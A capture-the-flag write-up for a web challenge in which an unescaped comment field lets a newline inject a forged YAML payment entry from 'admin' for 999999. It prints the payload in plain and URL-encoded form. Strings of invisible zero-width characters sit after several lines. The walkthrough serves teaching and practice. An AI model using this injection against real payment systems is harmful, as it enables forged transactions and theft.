Fragment YAML

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: payment_forgery, yaml_fragment_injection

Summary

Web application for processing payments (similar to d21/d22, but with YAML). The system validates that the sender equals "me". User input in the "comment" field is inserted into YAML without escaping.

Fragment YAML — Web Kids 2.0

Description

Web application for processing payments (similar to d21/d22, but with YAML). The system validates that the sender equals "me". User input in the "comment" field is inserted into YAML without escaping.

Analysis

The application generates a YAML document with a list of payments:

 yaml read-only • copy allowed Copy
- sender: me
  receiver: target
  amount: 100
  comment: user_input

The comment field is not escaped, and newlines are not filtered, which allows injecting a new list element. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Structure Analysis

We determine that user input is inserted directly into YAML. The key point is that YAML uses indentation and newlines for structure.

Step 2: Crafting the Payload

We use a newline to create a new list element with sender=admin:

test
- sender: admin
  receiver: me
  amount: 999999
  comment: hacked

Or in URL-encoded form:

test%0A-%20sender:%20admin%0A%20%20receiver:%20me%0A%20%20amount:%20999999%0A%20%20comment:%20hacked

Step 3: Resulting YAML

After injection, the YAML looks like this:

 yaml read-only • copy allowed Copy
- sender: me
  receiver: target
  amount: 100
  comment: test
- sender: admin
  receiver: me
  amount: 999999
  comment: hacked

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The system processes both payments, including the forged one from admin. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍